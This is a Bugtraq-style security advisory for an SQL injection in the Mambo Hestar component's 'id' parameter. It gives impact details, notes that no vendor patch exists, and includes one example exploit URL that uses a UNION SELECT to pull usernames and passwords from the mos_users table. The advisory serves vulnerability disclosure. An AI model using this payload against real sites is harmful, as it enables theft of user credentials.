Mambo Hestar Component 'id' Parameter SQL Injection Vulnerability

Bugtraq ID:	36324
Class:	Input Validation Error
CVE:
Remote:	Yes
Local:	No
Published:	Sep 09 2009 12:00AM
Updated:	Sep 10 2009 10:41PM
Credit:	M3NW5
Vulnerable:
Not Vulnerable:

Mambo Hestar Component 'id' Parameter SQL Injection Vulnerability

The Hestar component for Mambo is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query.

Exploiting this issue could allow an attacker to compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

Mambo Hestar Component 'id' Parameter SQL Injection Vulnerability

Attackers can use a browser to exploit this issue.

The following example URI is available:

http://www.example.com/index.php?option=com_hestar&task=showlist&id=-3 union select concat_ws(0x3a,username,password)+from+mos_users--

Mambo Hestar Component 'id' Parameter SQL Injection Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

Mambo Hestar Component 'id' Parameter SQL Injection Vulnerability

References:

• Mambo Homepage (Mambo)
  
• Vendor Homepage (Netvistun)